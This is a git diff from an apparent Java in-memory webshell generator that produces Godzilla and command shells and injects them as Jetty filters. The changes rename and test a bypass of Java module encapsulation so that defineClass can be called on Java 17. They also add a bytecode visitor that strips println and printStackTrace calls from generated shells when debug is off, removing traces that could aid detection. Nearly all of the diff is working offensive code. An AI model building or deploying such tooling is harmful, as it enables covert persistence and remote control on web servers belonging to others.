diff --git a/generator/build.gradle b/generator/build.gradle index 0f3d1915..7a744598 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -23,17 +23,19 @@ idea { } dependencies { - implementation 'net.bytebuddy:byte-buddy:1.15.1' + implementation 'net.bytebuddy:byte-buddy:1.+' implementation 'javax.servlet:javax.servlet-api:3.0.1' + implementation 'javax.websocket:javax.websocket-api:1.1' + implementation 'org.java-websocket:Java-WebSocket:1.5.7' implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' // implementation fileTree('libs') - implementation 'commons-io:commons-io:2.18.0' - implementation 'org.apache.commons:commons-lang3:3.17.0' - implementation 'commons-codec:commons-codec:1.17.1' + implementation 'commons-io:commons-io:2.+' + implementation 'org.apache.commons:commons-lang3:3.+' + implementation 'commons-codec:commons-codec:1.+' - implementation 'com.squareup.okhttp3:okhttp:4.12.0' - implementation 'ch.qos.logback:logback-classic:1.5.12' + implementation 'com.squareup.okhttp3:okhttp:4.+' + implementation 'ch.qos.logback:logback-classic:1.+' implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' @@ -50,7 +52,8 @@ dependencies { } - testImplementation platform('org.junit:junit-bom:5.11.3') + testImplementation platform('org.junit:junit-bom:5.+') testImplementation 'org.junit.jupiter:junit-jupiter' testRuntimeOnly 'org.junit.platform:junit-platform-launcher' + testImplementation "org.mockito:mockito-core:5.+" } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java similarity index 96% rename from generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java rename to generator/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java index 2eceb3a4..553e54fb 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java @@ -18,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * * @author ReaJason */ -public class ByPassJdkModuleInterceptor { +public class ByPassJavaModuleInterceptor { @Advice.OnMethodEnter public static void enter(@Advice.Origin Class clazz) { try { @@ -61,7 +61,7 @@ public class ByPassJdkModuleInterceptor { .intercept(FixedValue.originType()) .visit(new AsmVisitorWrapper.ForDeclaredMethods() .method(named("byPassJdkModule"), - Advice.to(ByPassJdkModuleInterceptor.class))) + Advice.to(ByPassJavaModuleInterceptor.class))) .invokable(isTypeInitializer()) .intercept(MethodCall.invoke(named("byPassJdkModule"))); } diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java new file mode 100644 index 00000000..f7acfec4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.method.MethodDescription; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.pool.TypePool; +import org.apache.commons.lang3.StringUtils; +import org.jetbrains.annotations.NotNull; + +import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL; +import static net.bytebuddy.jar.asm.Opcodes.POP; + +/** + * Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace() + * @author ReaJason + */ +public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper { + public static final LogRemoveMethodVisitor INSTANCE = new LogRemoveMethodVisitor(); + + public static DynamicType.Builder extend(DynamicType.Builder builder) { + return builder.visit( + new AsmVisitorWrapper.ForDeclaredMethods() + .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)); + } + + @NotNull + @Override + public MethodVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull MethodDescription instrumentedMethod, + @NotNull MethodVisitor methodVisitor, + @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, + int writerFlags, + int readerFlags) { + return new MethodVisitor(Opcodes.ASM9, methodVisitor) { + @Override + public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { + if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println")) + || (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))) { + String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";"); + for (String arg : args) { + if (StringUtils.isNotBlank(arg)) { + super.visitInsn(POP); + } + } + super.visitInsn(POP); + } else { + super.visitMethodInsn(opcode, owner, name, descriptor, isInterface); + } + } + }; + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java index 9c00d647..06702827 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellConfig.java @@ -37,6 +37,12 @@ public class ShellConfig { @Builder.Default private int targetJreVersion = Constants.DEFAULT_VERSION; + /** + * 是否需要移除模块限制 + */ + @Builder.Default + private boolean byPassJavaModule = false; + /** * 是否开启混淆 */ @@ -49,12 +55,16 @@ public class ShellConfig { @Builder.Default private boolean debug = false; + public boolean isDebugOff(){ + return !debug; + } + public boolean isJakarta() { return StringUtils.containsIgnoreCase(shellType, "jakarta"); } - public boolean needByPassJdkModule() { - return targetJreVersion >= Opcodes.V9; + public boolean needByPassJavaModule() { + return byPassJavaModule || targetJreVersion >= Opcodes.V9; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 30267831..75c8c7e1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memsell; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.config.CommandConfig; @@ -33,6 +34,10 @@ public class CommandGenerator { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } + if (config.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index 7197f883..51bec687 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memsell; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.config.GodzillaConfig; @@ -39,6 +40,10 @@ public class GodzillaGenerator { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } + if (config.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java index a06de839..3f351ba6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memsell; -import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor; +import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.config.InjectorConfig; import com.reajason.javaweb.config.ShellConfig; @@ -34,8 +35,12 @@ public class InjectorGenerator { .method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); - if (config.needByPassJdkModule()) { - builder = ByPassJdkModuleInterceptor.extend(builder); + if (config.needByPassJavaModule()) { + builder = ByPassJavaModuleInterceptor.extend(builder); + } + + if (config.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); } try (DynamicType.Unloaded make = builder.make()) { diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java index d5076daa..686b3161 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java @@ -46,15 +46,6 @@ public class JettyFilterInjector { } - public String getFilterName(String className) { - if (className.contains(".")) { - int lastDotIndex = className.lastIndexOf("."); - return className.substring(lastDotIndex + 1); - } else { - return className; - } - } - public void addFilter(Object context, Object magicFilter) { Class filterClass = magicFilter.getClass(); try { @@ -122,7 +113,8 @@ public class JettyFilterInjector { } catch (Exception ignored) { } } - System.out.printf("contextSize: %s%n", contexts.size()); + String log = String.format("contextSize: %s%n", contexts.size()); + System.out.println(log); return contexts; } diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java new file mode 100644 index 00000000..26ce0c6b --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptorTest.java @@ -0,0 +1,65 @@ +package com.reajason.javaweb.buddy; + +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledOnJre; + +import java.lang.reflect.InaccessibleObjectException; +import java.lang.reflect.Method; +import java.nio.file.Files; +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.*; +import static org.junit.jupiter.api.condition.JRE.JAVA_17; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +class ByPassJavaModuleInterceptorTest { + static class TestClass { + static { + System.out.println("TestClass"); + } + + public TestClass() { + } + + + public String hello() { + return "hello"; + } + } + + @Test + @SneakyThrows + @EnabledOnJre(JAVA_17) + void testByPassModule() { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + assertThrows(InaccessibleObjectException.class, () -> { + defineClass.setAccessible(true); + }); + ByPassJavaModuleInterceptor.enter(this.getClass()); + assertDoesNotThrow(() -> { + defineClass.setAccessible(true); + }); + } + + @Test + @SneakyThrows + void test() { + DynamicType.Builder builder = new ByteBuddy() + .redefine(TestClass.class) + .name("com.reajason.javaweb.buddy.ByPassJdkModuleInterceptorTest$TestClass1"); + builder = ByPassJavaModuleInterceptor.extend(builder); + try (DynamicType.Unloaded make = builder.make()) { + byte[] bytes = make.getBytes(); + Files.write(Paths.get("build", "classes", "TestClass1.class"), bytes); + Class loaded = make.load(Thread.currentThread().getContextClassLoader()).getLoaded(); + assertNotNull(loaded.getDeclaredMethod("byPassJdkModule")); + } + } + +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptorTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptorTest.java deleted file mode 100644 index fa4dd51b..00000000 --- a/generator/src/test/java/com/reajason/javaweb/buddy/ByPassJdkModuleInterceptorTest.java +++ /dev/null @@ -1,44 +0,0 @@ -package com.reajason.javaweb.buddy; - -import lombok.SneakyThrows; -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.dynamic.DynamicType; -import org.junit.jupiter.api.Test; - -import java.nio.file.Files; -import java.nio.file.Paths; - -/** - * @author ReaJason - * @since 2024/12/7 - */ -class ByPassJdkModuleInterceptorTest { - - static class TestClass { - static { - System.out.println("TestClass"); - } - - public TestClass() { - } - - - public String hello() { - return "hello"; - } - } - - @Test - @SneakyThrows - void test() { - DynamicType.Builder builder = new ByteBuddy() - .redefine(TestClass.class) - .name("com.reajason.javaweb.buddy.ByPassJdkModuleInterceptorTest$TestClass1"); - builder = ByPassJdkModuleInterceptor.extend(builder); - try (DynamicType.Unloaded make = builder.make()) { - byte[] bytes = make.getBytes(); - Files.write(Paths.get("build", "classes", "TestClass1.class"), bytes); - } - } - -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java new file mode 100644 index 00000000..0742db65 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java @@ -0,0 +1,112 @@ +package com.reajason.javaweb.buddy; + +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.method.MethodDescription; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.pool.TypePool; +import org.junit.jupiter.api.Test; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.mockito.Mockito.*; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +class LogRemoveVisitorWrapperTest { + + @Test + void testExtend() { + DynamicType.Builder builder = new ByteBuddy().subclass(Object.class); + DynamicType.Builder extendedBuilder = LogRemoveMethodVisitor.extend(builder); + assertNotNull(extendedBuilder); + assertNotEquals(builder, extendedBuilder); + } + + @Test + void testWrap() { + LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE; + TypeDescription instrumentedType = mock(TypeDescription.class); + MethodDescription instrumentedMethod = mock(MethodDescription.class); + MethodVisitor methodVisitor = mock(MethodVisitor.class); + Implementation.Context implementationContext = mock(Implementation.Context.class); + TypePool typePool = mock(TypePool.class); + + MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor, + implementationContext, typePool, 0, 0); + + assertNotNull(wrappedVisitor); + assertNotEquals(methodVisitor, wrappedVisitor); + } + + @Test + void testVisitMethodInsn_RemoveSystemOutPrintln() { + MethodVisitor methodVisitor = mock(MethodVisitor.class); + LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0) + .visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false); + + verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean()); + } + + @Test + void testVisitMethodInsn_RemovePrintStackTrace() { + MethodVisitor methodVisitor = mock(MethodVisitor.class); + LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0) + .visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + + verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean()); + } + + @Test + void testVisitMethodInsn_KeepOtherMethodCalls() { + MethodVisitor methodVisitor = mock(MethodVisitor.class); + MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0); + wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false); + verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false); + } + + public static class TestClass { + public TestClass() { + } + + public void methodWithLogs() { + System.out.println("This should be removed"); + String test = "test"; + int length = test.length(); + try { + System.out.println("hello"); + throw new RuntimeException("hello"); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + @Test + void testIntegration() throws Exception { + // Use ByteBuddy to create a new class with log statements removed + DynamicType.Unloaded make = new ByteBuddy() + .redefine(TestClass.class) + .name("com.reajason.javaweb.buddy.TestClass1") + .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)) + .make(); + byte[] bytes = make.getBytes(); + Files.write(Paths.get("xx.class"), bytes); + Class modifiedClass = make.load(getClass().getClassLoader()).getLoaded(); + Object instance = modifiedClass.getDeclaredConstructor().newInstance(); + modifiedClass.getMethod("methodWithLogs").invoke(instance); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 241d79c6..f52c1670 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -21,6 +21,7 @@ public class ShellAssertionTool { .shellTool(shellTool) .shellType(shellType) .targetJreVersion(targetJdkVersion) + .debug(true) .build(); String shellUrl = url + "/test"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 184063c4..c9cc25ae 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -24,6 +24,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; * @author ReaJason * @since 2024/12/7 */ +@Slf4j @Testcontainers public class Jetty94ContainerTest { public static final String imageName = "jetty:9.4-jre8-slim";